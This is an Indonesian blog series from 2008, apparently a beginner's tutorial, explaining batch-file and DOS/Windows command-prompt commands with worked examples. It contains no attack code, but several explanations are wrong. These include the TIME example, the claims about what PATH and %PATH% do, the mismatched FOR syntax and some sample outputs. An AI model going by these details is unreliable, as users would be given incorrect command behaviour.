Minggu, 13 Juli 2008

apa itu file BATCH ?

apa file batch itu ? ini jawabannya, biasanya untuk melakukan suatu proses rutin yang berurutan dari suatu aplikasi merupakan pekerjaan rutin yang
membosankan dan tidak efisien bagi manusia. Untuk itu diperlukan bentuk proses yang dapat menggantikan hal tersebut. Bentuk proses tersebut dikenal dengan istilah batch processing.

Pada proses secara batch, urutan perintah yang akan dikerjakan dimasukkan pada suatu file. File untuk proses secara batch harus mempunyai nama perluasan khusus yaitu .BAT. Semua file yang ada dalam file batch
tersebut harus berbentuk ASCII.

Terdapat jenis file batch yang akan dieksekusi secara langsung pada saat sistem DOS di-boot (baik warm boot
ataupun cold boot). jenis file itu harus diberi nama AUTOEXEC.BAT.

Untuk membuat file batch, dapat digunakan pada proses standart I/O secara langsung ataupun dengan menggunakan
utility Text Editor. Nama dari file batch tidak boleh serupa dengan nama peralatan yang dipakai ataupun nama
instruksi dari sistem PC-DOS (OS windows XP dan OS Windows VISTA).

subinstruksi file batch

Selain perintah sistem operasi, dikenal juga perintah dari file batch. Perintah dari file batch digunakan untuk mengontrol dari pelaksanaan perintah sistem operasi.

Dalam melaksanakan perintah dari file batch, sistem operasi membaca file batch baris per baris hingga selesai ataupun dihentikan dari terminal dengan Control-Break. Pada saat pelaksanaan perintah dari file batch tidak dapat dipindahkan dari posisi asalnya.

Adapun perintah dari file batch antara lain :

  • CALL
  • ECHO
  • FOR
  • GOTO
  • IF
  • PAUSE
  • REM
  • SHIFT

Penjelasan dan contoh perintah tersebut bisa anda lihat disini. Dan semua perintah dari file batch memerlukan file internal (tanpa membutuhkan file eksternal).
perlu diketahui bahwa semua perintah dari file batch merupakan sub instruksi dari PC-DOS.

Pada batch processing, suatu file batch dapat menggunakan sepuluh parameter. Setipa parameter tersebut diberi nama %0 hingga %9. Parameter %0 digunakan sebagai penunjuk default dan file batch (file batch yang sedang dieksekusi) pada saat itu.

contoh :
Pada file batch ABCD.BAT terdiri dari :

echo off
echo file batch yang aktif = %0
echo parameter file ke-1 = %1
echo parameter file ke-2 = %2
echo parameter file ke-3 = %3
echo parameter file ke-4 = %4
echo parameter file ke-5 = %5
echo parameter file ke-6 = %6
echo parameter file ke-7 = %7
echo parameter file ke-8 = %8

pada saat mengeksekusi kode berikut:

..:\ABCD PROG1 PROG2 PROG3 PROG4 PROG5 PROG6 PROG7 PROG8

akan menghasilkan tampilan berikut:

file batch yang aktif = ABCD
parameter file ke-1 = PROG1
parameter file ke-2 = PROG2
parameter file ke-3 = PROG3
parameter file ke-4 = PROG4
parameter file ke-5 = PROG5
parameter file ke-6 = PROG6
parameter file ke-7 = PROG7
parameter file ke-8 = PROG8


sekarang anda sudah tahu kan kegunanaan file batch itu. Anda bisa modifikasi/memasukkan perintah tersebut untuk membuat virus, tetapi lebih baik jangan. kasian kan sama usernya...

Selasa, 24 Juni 2008

instruksi command prompt bagian 3

1. BREAK
Tujuan : mengontrol karakter Ctrl-Break pada saat beroperasi ataupun menampilkan informasi Ctrl-Break
Bentuk : BREAK[=][ON|OFF]
keterangan :
Jika digunakan pilihan [ON], sistem akan mengontrol karakter Ctrl-Break pada suatu program yang sedang dieksekusi.
jika digunakan pilihan [OFF], sistem hanya akan mengontrol karakter Ctrl-Break pada saat proses pada standart I/O dan pada operasi yang berhubungan dengan peralatan printer standart.
sedangkan penggunaan pilihan [=] tidak akan mempengaruhi instruksi BREAK ini (kecuali dengan intruksi set.

contoh:
C:\>BREAK=OFF
Lalu tekan ENTER
menjadikan break dalam keadaan off

C:\>break on
lalu tekan ENTER
menjadikan break dalam keadaan on


2. CHCP (change code page)
Tujuan : Memilih kode halaman ASCII yang digunakan DOS.
Bentuk : CHCP [nnn]
keterangan :
Intruksi ini bekerja setelah dijalankannya intruksi file eksternal NLSFUNC. Pemakaian instruksi ini digunakan untuk memilih kode halaman ASCII yang akan digunakan pada saat mengoperasikan mesin IBM PC yang menunjang sistem pengkodean tersebut.
Nilai nnn dapat berupa kode halaman. jika nilai nnn tidak diberikan, sistem operasi akan mengaktifkan kode halaman default.


3. DATE
Tujuan : Mengubah default tanggal dari sistem.
Bentuk : DATE [/T | date]
keterangan :
jika pilihan [/T | date] tidak digunakan maka yang tampil adalah tanggal yang berada pada komputer anda dan anda akan diminta untuk memasukkan tanggal baru yang ingin anda masukkan, untuk tetap pada tanggalnya/tidak melakukan perubahan cukup tekan ENTER.
jika anda menggunakan pilihan /T yang tampil adalah tanggal saat itu tanpa diminta untuk memasukkan tanggal baru.
sedangkan pilihan date adalah dimana anda menuliskan format tanggal barunya.

contoh :
C:\>DATE 24/2/09


4. PATH
Tujuan : Memberi jejak/informasi untuk suatu subdirectori
Bentuk : PATH [[drive:]path[;...][;%PATH%]
keterangan :
Pilihan [[drive:]path[;...][;%PATH%] jika tidak digunakan, maka sistem akan menampilkan status dari default path.
Instruksi PATH ini menyebabkan sistem operasi akan melacak kepada lokasi yang jejaknya untuk mengeksekusi suatu file jika pada default drive file yang dimaksud tidak ditemukan.

contoh pertama:
misal, saya ingin melihat file bernama "smile.ico" tetapi saya lupa meletakkannya. tetapi saya sedikit ingat kemungkinan ada di 3 tempat
maka saya cukup menuliskan :

C:\>PATH C:\WINDOWS;D:\WINDOWS;E:\icon

dimana "C:\WINDOWS" adalah prioritas kedua setelah nilai default
dan "D:\WINDOWS" adalah prioritas ketiga dari pencarian file
dan "E:\icon" sebagai prioritas terakhir dalam pencarian file
setelah saya menekan enter maka default PATH akan berubah menjadi seperti yang saya ketikkan di atas
untuk membuka file yang saya ingin lihat cukup ketikkan nama filenya saja di perintah berikutnya seperti:

C:\>smile.ico

contoh kedua :
untuk pilihan [;%PATH%] berfungsi untuk mengeksekusi file yang berada pada default path baru.
misal saya ingin melihat file "smile.ico" yang saya ketik adalah:

C:\>PATH E:\icon\marah.ico
tekan ENTER
kemudian ketik:
C:\>%PATH%
maka file tersebut akan langsung dieksekusi.


5. PROMPT (set system prompt)
Tujuan : Mengubah default prompt sistem operasi
Bentuk : PROMPT [text]
keterangan :
Pilihan [text] digunakan untuk menggantikan prompt normal dari PC. Pilihan tersebut dapat digantikan dengan karakter $ yang diikuti dengan karakter lainnya untuk tujuan tertentu. karakter kombinasinya sebagai berikut :

$A --> menampilkan karakter & (ampersand)
$B --> menampilkan karakter | (pipe)
$C --> menampilkan karakter ( (kurung buka)
$D --> menampilkan hari dari sistem operasi
$E --> untuk karakter Escape
$F --> menampilkan karakter ) (kurung tutup)
$G --> menampilkan karakter > (lebih besar dari)
$H --> untuk backspace yang digunakan sebagai penghapus satu karakter sebelumnya.
$L --> menampilkan karakter < (lebih kecil dari)
$N --> untuk menampilkan dari indeks drive yang aktif
$P --> untuk menampilkan default drive dari sistem operasi
$Q --> menampilkan karakter = (sama dengan)
$S --> space
$T --> menampilkan waktu sistem operasi
$V --> menampilkan nomor versi sistem operasi
$_ --> untuk karakter CR (carriage return) dan LF (line feed)
$$ --> $ (dollar)

untuk string karakter lainnya tanpa diawali karakter $ untuk menampilkan string karakter
dan untuk mengembalikan ke semula cukup ketikkan PROMPT.

contoh :

C:\>PROMPT ABC$G
hasilnya
ABC>

C:\>PROMPT $$$B
hasilnya
$|


6. SET
Tujuan : Memasukkan suatu string ke peralatan prosesor perintah/memperlihatkan status peralatan yang aktif
Bentuk : SET [name=[parameter]]
keterangan :
semua parameter akan dimasukkan pada lokasi blok memori yang diperuntukkan sebagai string dari peralatan.
nama dari name tersebut dapat berupa COMSPEC, PATH, PROMPT, VERIFY dan lain-lainnya.
penggunaan instruksi SET tersebut tanpa parameter akan digunakan sebagai penunjuk dari informasi dari environment yang aktif.

contoh :
C:\>SET PATH=c:\WINDOWS;D:\DATA
C:\>SET
PATH=C:\WINDOWS;D:\DATA

Digunakan untuk mempersiapkan directory C:\WINDOWS dan D:\DATA sebagai jejak pencarian
file pada sistem operasi saat mengeksekusi suatu program.


7. TIME
Tujuan : Mengubah nilai jam yang sedang aktif
Bentuk : TIME [/T | time]
keterangan :
jika pilihan [/T | time] tidak digunakan maka yang tampil adalah waktu yang berada pada komputer anda dan anda akan diminta untuk memasukkan waktu baru yang ingin anda masukkan, untuk tetap pada tanggalnya/tidak melakukan perubahan cukup tekan ENTER.
jika anda menggunakan pilihan /T yang tampil adalah waktu saat itu tanpa diminta untuk memasukkan waktu baru.
sedangkan pilihan date adalah dimana anda menuliskan format waktunya barunya.
untuk penulisan format waktu anda bisa memisahkan jam, menit, detik dengan menggunakan ":"

contoh :

C:\>TIME 10:45:30

pengubahan nilai jam yang aktif dari sistem operasi menjadi bentuk pukul 9 lewat 45 menit dan 30 detik.

C:\>TIME 10:45:30.75

pengubahan nilai jam yang aktif dari sistem operasi menjadi bentuk pukul 9 lewat 45 menit dan 30 detik
dengan ketelitian seperseratus detik sebesar 75%.


8. VER (Version)
Tujuan : Memperlihatkan status versi dari sistem operasi yang aktif.
Bentuk : VER
keterangan :
instruksi ini hanya bertujuan melihat versi dari sistem operasi yang aktif.


9. VERIFY (verifies files)
Tujuan : Verifikasi data yang akan ditulis pada media disk atau memperlihatkan keaktifan proses verifikasi.
Bentuk : VERIFY [ON | OFF]
keterangan :
Pilihan [ON] digunakan untuk mengaktifkan proses verifikasi pada saat penulisan pada media disk dan
pilihan [OFF] digunakan untuk mematikan keaktifan tersebut.
intruksi ini tanpa parameter digunakan untuk menunjukkan keaktifan dari proses verifikasi.


10. VOL
Tujuan : Menampilkan label volume pada suatu disk
Bentuk : VOL [drive:]
keterangan :
Pilihan [drive:] digunakan sebagai penunjuk dari drive yang akan menampilkan label volumenya.

Senin, 23 Juni 2008

Perintah command prompt bagian 4

1. APPEND
Tujuan : Memberi jejak file data pada suatu direktori
Bentuk : APPEND [[drive:]path[;...]] [/X[:ON | :OFF]] [/PATH:ON | /PATH:OFF] [/E]
keterangan :
Instruksi APPEND digunakan untuk memberitahukan pada sistem operasi mengenai jejak pencarian file data (file yang mempunyai perluasan selain .EXE, .COM, atau .BAT).
jika instruksi PATH digunakan untuk memberi jejak file yang dapat dieksekusi, maka fungsi instruksi APPEND akan memberikan jejak dari file yang tidak dapat dieksekusi seperti jejak lokasi data ataupun teks.
[[drive:]path[:...]] digunakan sebagai lokasi pelacakan file data.
Parameter /X dan /E hanya digunakan pada saat instruksi APPEND dilakukan. Kegunaan parameter /E adalah memberitahukan lokasi jejak instruksi APPEND pada sistem. Sedangkan parameter /X digunakan untuk memproses fungsi DOS seperti fungsi SEARCH FIRST (digunakan oleh instruksi DIR), fungsi FIND FIRST (digunakan oleh BACKUP, RESTORE, dan TREE), dan fungsi EXEC (digunakan oleh seluruh baris perintah).
Parameter pilihan [;] digunakan untuk membatalkan instruksi APPEND sebelumnya.
Seperti juga instruksi PATH, instruksi APPEND tanpa parameter akan menyebabkan sistem menampilkan penjejakkan yang ada pada sistem tersebut.


2. CHKDSK (check disk)
Tujuan : Analisa media disk dan membuat laporan dari hasil proses tersebut.
Bentuk : CHKDSK [volume[[path]namafile]]] [/F] [/V] [/R] [/X] [/I] [/C] [/L[:size]]
keterangan :
Pilihan [volume] petunjuk dari lokasi disk yang akan dianalisa.
Penggunaan pilihan [namafile] dapat diganti dengan karakter * dan ?. Untuk menganalisa disk secara keseluruhan tak perlu menggunakan pilihan nama file tersebut.
Penggunaan pilihan [/F] untuk mengubah sektor yang salah dalam suatu direktori.
Penggunaan pilihan [/V] untuk menampilkan semua file dan organisasinya.
penggunaan pilihan [/R] untuk mengalokasikan sektor yang salah dan data yang ada.(sama dengan [/F])
penggunaan pilihan [L:size] digunakan pada disk NTFS saja. Merubah besar file log yang diinginkan dengan satuan kilobytes. jika besar tidak dimasukkan maka akan menampilkan besar file log saat itu.
penggunaan pilihan [/X] mengubah sektor yang salah dan Menutup proses pada disk, pembukaan suatu proses akan terjadi kesalahan.
penggunaan pilihan [/I] digunakan pada disk NTFS saja. meningkatkan ketelitian pengecekkan.
penggunaan pilihan [/C] digunakan pada disk NTFS saja. melewatkan pengecekkan berulang.

contoh :

C:\>CHKDSK D:/F/V

untuk menganalisa disk D dan mengubah file yang rusak menjadi FILEXXXX.CHK dan panjang seluruh isinya.


3. COMMAND (secondary command processor)
Tujuan : Meminta eksekusi perintah processor kedua
Bentuk : COMMAND [[drive:]path] [device] [/E:nnnnn] [/P] [/C string] [/MSG]
Keterangan :
Pilihan [drive:]path digunakan sebagai petunjuk pelaksanaan perintah processor kedua. Jika tidak terdapat file COMMAND>COM pada lokasi tersebut, sebagai pengganti sistem akan melacak pada lokasi yang didefinisikan oleh COMSPEC=.
pilihan [device] sebagai petunjuk peralatan yang digunakan untuk input dan output command.
Pilihan [/E:nnnnn] untuk menentukan ukuran memori sebesar nnnnn (dalam basis 10) dari peralatan yang dipakai pada saat perintah processor kedua tersebut dijalankan. Nilai nnnnn dapat berkisar 160 hingga 32768 paragraf memori internal (RAM).
Pilihan [/P] Digunakan jika perintah processor akan dibuat secara permanent di RAM. Dan untuk menghapusnya, harus dilakukan boot ulang (perintah exit juga tidak dapat dilakukan).
Pilihan [/C string] untuk melewatkan suatu string yang berupa instruksi dari sistem operasi dan setelah itu, kembali ke perintah processor yang semula.
Pilihan [/P] tidak dapat digunakan secara bersamaan dengan [/C]. jika kedua pilihan tersebut digunakan maka pilihan [/C] yang akan digunakan.
Pilihan [/MSG] menunjukkan pesan error di dalam memori. dibutuhkan pilihan /P untuk melakukan ini.

contoh :

C:\>COMMAND /C DIR D:

Pengambilan perintah processor kedua untuk mengeksekusi instruksi DIR dan kembali ke perintah processor semula. Lihat juga pada instruksi EXIT, SHELL, dan SET.


4. COMP (compare files)
Tujuan : Membandingkan suatu file dengan file lain
Bentuk : COMP [data1] [data2] [/D] [/A] [/L] [/N=angka] [/C] [/OFF[LINE]]
Keterangan :
Pilihan [data1] digunakan sebagai petunjuk dari letak file pertama dan nama file.
Pilihan [data2] digunakan sebagai petunjuk dari letak file kedua dan nama file.
Plilhan [/D] menampilkan perbedaan dalam format desimal
Pilihan [/A] menampilkan perbedaan dalam karakter ASCII
Pilihan [/L] menampilkan perbedaan barisnya
Pilihan [/N] membandingkan baris pada suatu file
Pilihan [/C] mengabaikan case dari karakter ASCII
[/OFF[LINE]] jangan melewatkan file yang berattribut offline
untuk membandingkan lebih dari satu file bisa menggunakan karakter "*"

contoh:
saya mempunyai 2 file di drive yang sama yaitu drive C. dan nama masing-masing filenya "a.txt" dan "b.txt"
untuk membandingkannya saya cukup ketikkan kode berikut di command prompt:

C:\>COMP a.txt b.txt

jika file yang dibandingkan mempunyai kesamaan, akan ditampilkan instruksi berikut

Files compare OK

dengan data1 merupakan file pertama dan data2 merupakan file kedua yang dibandingkan.


5. DISKCOMP
Tujuan : Membandingkan suatu disket dengan disket lain
Bentuk : DISKCOMP [drive1: [drive2:]]
Keterangan :
Pilihan [drive1] digunakan sebagai indeks drive yang akan digunakan sebagai petunjuk isi disket pada drive asal
Pilihan [drive2] digunakan sebagai indeks drive yang akan digunakan sebagai petunjuk isi disket pada drive tujuan

contoh :
C:\>DISKCOMP A:B:

Membandingkan isi disket pada drive A dengan isi disket pada drive B.


6. DISKCOPY
Tujuan : Membuat duplikasi disket
Bentuk : DISKCOPY [drive1: [drive2:]] [/V]
Keterangan :
Pilihan [drive1: [drive2:]] digunakan sebagai indeks drive yang akan digunakan sebagai asal dan tujuan isi disket pada drive yang bersangkutan.
Pilihan [/V] untuk memberi informasi bahwa disk telah selesai dicopy

contoh :
C:\>DISKCOPY A:B:

untuk memproses copy seluruh isi disket dari drive A ke drive B.


7. EXE2BIN
Tujuan : Mengubah file dengan nama perluasan .EXE ke file yang nama perluasan .COM atau .BIN
Bentuk : EXE2BIN [drive1:][path1]input-file [[drive2:][path2]output-file]
Keterangan :
[drive1:][path1]input-file -> sebagai petunjuk file dengan nama perluasan .EXE
[[drive2:][path2]output-file] -> sebagai petunjuk lokasi penempatan hasil konversi tersebut diletakkan.
Penggunaan instruksi ini hanya untuk file dengan nama perluasan .EXE. Dan ukuran nilai file tersebut harus lebih kecil dari 64 KB tanpa segmentasi stack.

contoh :
EXE2BIN C:\TEST.EXE D:\COBA

Mengubah file TEST.EXE yang ada pada drive C kepada file yang diberi nama COBA yang akan diletakkan pada drive D.


8. FASTOPEN
Tujuan : Menentukan lokasi file suatu direktori secara cepat.
Bentuk : FASTOPEN [drive:[=nnn]]
Pada saat instruksi ini bekerja, lokasi file yang pernah dipakai dicatat. Pada suatu proses pemakaian file terjadi,modul ini akan mencarinya terlebih dahulu pada catatannya. Jika ditemukan file tersebut, maka aksesnya dapat dilakukan dengan cepat (tanpa harus menelusuri jejak suatu direktori). Jika tidak, lokasi file tersebut akan dicatat sebagai
referensi lokasi pada saat pemakaian berikutnya.
Nilai nnn menyatakan jumlah catatan maksimal yang akan dipakai selama proses berlangsung. Nilai nnn dapat berkisar dari 10 hingga 999. Jika pilihan nnn tidak dipakai, maka sistem akan mengalokasikan nilai 34 kepadanya.


9. LABEL
Tujuan : Untuk membuat, mengganti, dan menghapus label pada disk.
Bentuk ke-1 : LABEL [drive:][label]
Bentuk ke-2 : LABEL [/MP] [volume] [label]
Keterangan :
[drive:] menyatakan lokasi dari drive yang akan diberi label.
[label] Menunjukkan nama label baru dari disk yang akan diberikan labelnya.
[/MP] Menampilkan volume disk (nama disk) dan volume serial numbernya.
[volume] Menunjukkan nama drive / volume name, jika ini digunakan tidak perlu menggunakan [/MP]
nama label terdiri dari angka (0-9) ataupun huruf (A-Z) tanpa karakter istimewa.

contoh :
C:\>LABEL D:BERHASIL

Akan memberikan label pada drive D dengan nama "BERHASIL".


10. MODE
Tujuan : Menkonfigurasi alat yang ada pada sistem.
Bentuk-bentuknya :
serial port : MODE COMm[:] [BAUD=b] [PARITY=p] [DATA=d] [STOP=s]
------------> [to=on|off] [xon=on|off] [odsr=on|off]
------------> [octs=on|off] [dtr=on|off|hs]
------------> [rts=on|off|hs|tg] [idsr=on|off]

Device status --->: MODE [device] [/STATUS]
redirect printing : MODE LPTn[:]COMn[:]
Select code page -: MODE CON[:] CP SELECT=yyy
code page status -: MODE CON[:] CP [/status]
display mode ---->: MODE CON[:] [COLS=c] [LINES=n]
typematic rate -->: MODE CON[:] [RATE=r DELAY=d]
keterangan :

contoh 1 :
device status = untuk melihat status pada device. berikut format penulisannya,

MODE COM3 /status

kode di atas akan menampilkan status dari device COM3.

contoh 2 :
redirect printing = untuk mengalihkan device printer ke port lain. berikut format penulisannya,

MODE LPT1: =COM3 132

kode tersebut mengalihkan media printer (LPT1) ke port COM3 dengan 132 adalah definisi setiap baris.

contoh 3 :
code page(CP) merupakan spesifikasi dari kode halaman karakter-ASCII yang akan dipakai. berikut format penulisannya,

MODE CON: CP SELECT=850

kode tersebut akan merubah kode halaman menjadi 850. nilai yyy yang diperbolehkan adalah 437, 850, 860, 863, 865.

contoh 4 :
code page status = untuk melihat status dari kode halaman.berikut format penulisannya,

MODE CON: CP /status

contoh 5 :
display mode = merubah tampilan jendela command prompt.

MODE CON: COLS=50 LINES=100

kode tersebut akan merubah tampilan jendela command prompt dengan tampilan max kolom sampai 50 dan max baris sampai 100.

contoh 6 :
typematic rate = merubah rate dan delay(penundaan) pengetikkan. Berikut format penulisannya,

MODE CON: RATE=31 DELAY=1

kode tersebut akan merubah rate pengetikkan menjadi 31 (semakin kecil nilai ratenya maka semakin lambat perpindahan kolomnya,dapat anda rasakan langsung efeknya dengan menahan salah satu tombol huruf), dan merubah delay menjadi 1 (mengakibatkan waktu pencetakan huruf ke layar tertunda sepermilisecond, dan efeknya tidak begitu terasa).

untuk serial port anda dapat coba sendiri karena format penulisannya terlalu panjang efeknya penjelasannya juga panjang. jadi saya tidak menjelaskannya. maaf yo... ^_^ ( tampang malas hehe...) ^o^.

Jumat, 13 Juni 2008

Perintah dari file batch

1. CALL
Tujuan : Memanggil file batch lainnya
Bentuk : CALL [drive:][path]namafile
keterangan :
[drive:][path] = penunjuk lokasi file batch yang akan dipanggil
namafile = nama dari file batch yang akan dipanggil
catatan : jika penunjuk lokasi tersebut tidak ada, file yang dicari harus berada pada default drive dan direktori.

contoh :
File ABC.BAT berisi :

ECHO OFF
CLS
DATE
TIME
CALL MENU
CLS


dengan file MENU.BAT berisi :

CD C:\LEMENU
LE MENU
CD C:\


Kedua file tersebut sama saja dengan :

ECHO OFF
CLS
DATE
TIME
CD C:\LEMENU
LE MENU
CD C:\
CLS

Catatan : Pemakaian variabel CALL tidak dapat dipergunakan untuk memanggil file batch yang berisi instruksi yang menggunakan proses PIPE dan REDIRECTION yang memakai notasi <, >, dan >>.


2. ECHO
Tujuan : Menampilkan suatu keterangan pada I/O atau digunakan untuk mengubah keaktifan tampilan pada proses
dari file batch.
Bentuk : ECHO [ON|OFF|string]
keterangan :
[ON|OFF] = digunakan untuk mengaktifkan atau menon-aktifkan tampilan file batch yang sedang dilaksanakan.
[string] = digunakan untuk menampilkan string karakter pada media layar.

contoh ke-1:
file TEST.BAT berisi :

ECHO OFF
REM TEST PERTAMA
ECHO ON
REM TEST KEDUA


Dan jika file tersebut dieksekusi akan dihasilkan:

C:\>ECHO OFF
C:\>REM TEST KEDUA

contoh ke-2 :
file ABCD.BAT berisi :

ECHO OFF
ECHO SEDANG TEST FILE %0
ECHO SELESAI


Dan jika file tersebut dieksekusi akan dihasilkan:

C:\>ECHO OFF
SEDANG TEST FILE APA
SELESAI


anda dapat tidak menampilkan perintah "ECHO OFF" atau "ECHO ON" dengan menambahkan karakter @ didepan kata ECHO contoh "@ECHO OFF", maka ECHO OFF tidak akan tampil saat dieksekusi.


3. FOR
Tujuan : eksekusi secara interaktif
Bentuk : FOR %%Variabel IN (set) DO command
keterangan :
%%Variabel = merupakan urutan file dari suatu himpunan untuk setiap eleman. Penggunaan %%vriabel tersebut hanya pada file batch. untuk penggunaan pada baris perintah, bentuk tersebut menjadi %variabel.
set = merupakan himpunan dari nama file yang ada pada drive. set ini dapat terdiri dari karakter ? ataupun karakter *. Dan pada set tersebut, dapat juga digunakan suatu path dari direktori.

contoh :

FOR %FILE IN (prog1.BAS prog2.BAS) DO DIR %%FILE

perintah diatas menyebabkan ditampilkannya file prog1.BAS dan prog2.BAS, seperti halnya :

DIR prog1.BAS
DIR prog2.BAS


4. GOTO
Tujuan : memindahkan control ke suatu lokasi pada file batch.
Bentuk : GOTO :Label
keterangan :
Instruksi GOTO akan menyebabkan kontrol berpindah ke lokasi file batch yang berlabel :Label

contoh :

:ULANG
DIR C:
DIR D:
GOTO ULANG


Dan file batch tersebut akan menyebabkan proses baris perintah DIR C: dan DIR D: diulang terus-menerus. Untuk menghentikan loop tersebut, gunakan Cntrl-Break.


5. IF
Tujuan : menguji suatu kondisi
Bentuk : IF [NOT] ERRORLEVEL numkod
-------- IF [NOT] string1==string2 command
-------- IF [NOT] EXIST namafile command
keterangan :
NOT = sebagai komplemen dari nilai kondisi dengan cara membalikkan nilai kondisi yang sebenarnya
ERRORLEVEL = untuk menguji nomor program yang dilaksanakan. Ini akan memiliki kode informasi tertentu pada saat dilaksanakannya instruksi BACKUP atau instruksi RESTORE. Informasi dikeluarkan dalam bentuk nomor kode yang mempunyai arti seperti :

  • numkod = 0 untuk menyelesaikan proses secara normal
  • numkod = 1 sebagai keterangan tidak ditemukan file yang akan digunakan
  • numkod = 2 sebagai kabar bahwa ada beberapa file yang terlihat kekonflikkan file sharing
  • numkod = 3 untuk keterangan break dari pemakaian
  • numkod = 4 untuk keterangan break karena kesalahan

string1==string2 = dilkukan pengujian terhadap kesamaan dari string1 dengan string2
EXIST namafile= digunakan untuk menguji apakah file tersebut ada pada drive dan direktory tersebut
command = command yang akan dijalankan jika kondisi ditemukan. command ini dapat diikuti dengan intruksi ELSE dimana saat dieksekusi bila hasilnya tidak benar maka intruksinya akan dilompatkan ke command setelah intruksi ELSE.

  • contoh ke-1 :

IF EXIST C:\AUTOEXEC.BAT ECHO ada file AUTOEXEC.BAT di drive C

jika dilaksanakan akan mencetak hal berikut:

ada file AUTOEXEC.BAT di drive C

jika pada drive C terdapat file yang bernama AUTOEXEC.BAT

  • contoh ke-2 :
Pada file ABC.BAT berisi :

ECHO OFF
ECHO awal
IF %1==HELLO ECHO hello juga
ECHO akhir

jika file batch tersebut dieksekusi seperti:

:\>ABC

akan menghasilkan:

:\>ECHO OFF
awal
ECHO was unexpected at this time


jika file batch tersebut dieksekusi seperti:

:\>ABC HELLO

akan menghasilkan:

E:\>ECHO OFF
awal
hello juga
akhir


disebabkan ABC.BAT berada pada parameter %0 dan HELLO secara otomatis berada pada parameter %1
maka HELLO == %1 yang menyatakaan kondisi dalam keadaan benar.

contoh ke-3 :
disini saya akan menggunakan pernyataan IF dan ELSE,
ketik kode berikut pada command prompt:

IF EXIST data.txt (del data.txt) ELSE (ECHO data tidak ada)

jika kode tersebut dieksekusi hasilnya:

data tidak ada

bila data.txt ada maka perintah "del data.txt" akan dijalankan tetapi jika tidak ada maka perintah "ECHO data tidak ada" yang akan dijalankan. Untuk perintah ekspresi harus berada diantara tanda kurung buka dan kurung tutup "()", Untuk pengetikkan perintah tersebut tidak harus diketikkan pada baris yang sama, bisa juga dilakukan dengan berbeda baris dengan aturan sebagai berikut :

IF EXIST data.txt (
del data.txt
) ELSE (
ECHO data tidak ada
)


sebelum pindah baris tanda kurung buka "(" harus diketikkan terlebih dahulu, kemudian pernyataan ekspresi ditulis di baris kedua. jangan menutup pernyataan ekspresi awal dengan tanda kurung tutup! pindah baris terlebih dahulu baru anda ketik ")" kemudian ketik "ELSE" antara tanda ")" dan "(" tulis pernyataan ekspresi lainnya untuk ekspresi terakhir boleh langsung ditutup dengan ")" ataupun berpindah baris terlebih dahulu.


6. PAUSE
Tujuan : berhenti hingga terdapat respon dari keyboard.
Bentuk : PAUSE [remark]
keterangan :
Pilihan [remark] akan dipajang bersamaan dengan perintah batch file tersebut. jika perintah tersebut
tidak ditampilkan (saatintruksi ECHO OFF) maka pilihan [remark] pun tidak terlihat.
Penggunaan subinstruksi tersebut menyebabkan pada tampilan tercetak:

press any key to continue...

dan eksekusi dari file batch terhenti hingga adanya respon dari keyboard.

contoh:
file HELLO.BAT terdiri dari:

ECHO ON
ECHO awal
PAUSE berhenti sebentar
ECHO akhir


pelaksanaan file tersebut seperti:

C:\>HELLO

lau tekan ENTER, akan menghasilkan :

C:\>ECHO ON
C:\>ECHO awal
awal
C:\>PAUSE berhenti sebentar
Press any key to continue...

C:\>ECHO akhir
akhir


jadi intinya perintah "PAUSE" hanya digunakan untuk menghentikan proses sementara
hingga adanya respon dari keyboard.


7. REM
Tujuan : Menampilkan keterangan yang ada
Bentuk : REM [remark]
keterangan :
pilihan [remark] akan ditampilkan saat perintah ini dilaksanakan. Tetapi subinstruksi ECHO OFF
dapat membatalkan subinstruksi REM ini.
Subinstruksi REM digunakan sebagai komentar dari file batch.

contoh :
pada file ABCD.BAT berisi :

ECHO ON
REM test
ECHO OFF
REM uji
ECHO ON
REM selesai


dan eksekusi dari file batch seperti:

C:\ABCD

lallu tekan ENTER akan menghasilkan :

C:\>ECHO ON
C:\> REM test
C:\> ECHO OFF
C:\> REM


8. SHIFT
Tujuan : menggeser indeks file parameter
Bentuk : SHIFT [/n]
keterangan :
Penggunaan subintruksi ini akan menggeser parameter indeks file (%0 hingga %1) sehingga pemakaian
parameter indeks file dapat diperbesar.
[/n} = n dapat diisi nilai antar 0 dan 8, dimulai dari n keberapa.

contoh :
Pada file TEXT.BAT terdiri dari :

ECHO %0 %1 %2 %3
SHIFT
ECHO %0 %1 %2 %3
SHIFT
ECHO %0 %1 %2 %3
SHIFT
ECHO %0 %1 %2 %3
SHIFT
ECHO %0 %1 %2 %3
SHIFT

dieksekusi seperti :

C:\TEXT P1 P2 P3 P4 P5 P6 P7 P8

akan menghasilkan :

C:\>ECHO TEXT P1 P2 P3
TEXT P1 P2 P3

c:\>SHIFT

C:\>ECHO P1 P2 P3 P4
P1 P2 P3 P4

c:\>SHIFT

C:\>ECHO P2 P3 P4 P5
P2 P3 P4 P5

c:\>SHIFT

C:\>ECHO P3 P4 P5 P6
P3 P4 P5 P6

c:\>SHIFT

C:\>ECHO P4 P5 P6 P7
P4 P5 P6 P7

Perintah command prompt bagian 5

1. NLSFUNC
Tujuan : mempersiapkan pemakaian intruksi CHCP
Bentuk : NLSFUNC [[drive:][path]filename]
Keterangan :
[[drive:][path]filename] = menunjukkan letak drive yang akan digunakan.
Pemakaian instruksi ini diperlukan untuk mempersiapkan pemakaian intruksi CHCP untuk menggantikan kode halaman karakter yang akan dipakai.

contoh :
C:\>NLSFUNC C:\windows\system32\country.sys

Untuk mengaktifkan file kode halaman karakter ASCII yang bernama country.sys yang berada pada direktori system32.


2. PRINT
Tujuan : Mencetak suatu file kepada media printer.
Bentuk : PRINT [/D:device] [[drive:][path]filename[...]]
Keterangan :
/D:device = menunjukkan peralatan yang dipakai untuk mencetak (default /D:PRN)

contoh :
C:\>PRINT /D:PRN D:\DATA\TEST.txt

kode tersebut akan mencetak file "TEST.txt" ke printer.


3. RECOVER
Tujuan : Memperoleh kembali file dari sektor yang rusak.
Bentuk : recover [Drive:][Path] namafile
Keterangan :
[Drive:][Path] = letak file yang ingin dicari.
namafile = nama dari file yang akan dicari.
Pada perintah ini anda tidak menggunakan wildcards (* dan ?). Anda harus mengetikkan nama file yang hilang dengan tepat.

contoh 1:
C:\>RECOVER D:\fiction\story.txt

intruksi tersebut akan mencari file story.txt yang hilang pada drive D.

contoh 2:
C:\>RECOVER D:\

intruksi tersebut akan mencari semua file yang hilang pada drive D, ingat intruksi ini hanya mengembalikan pada file sektor yang rusak, bukan karena terhapus oleh user.


4. REPLACE
Tujuan : Duplikasi file tertentu dari suatu disk/direktori.
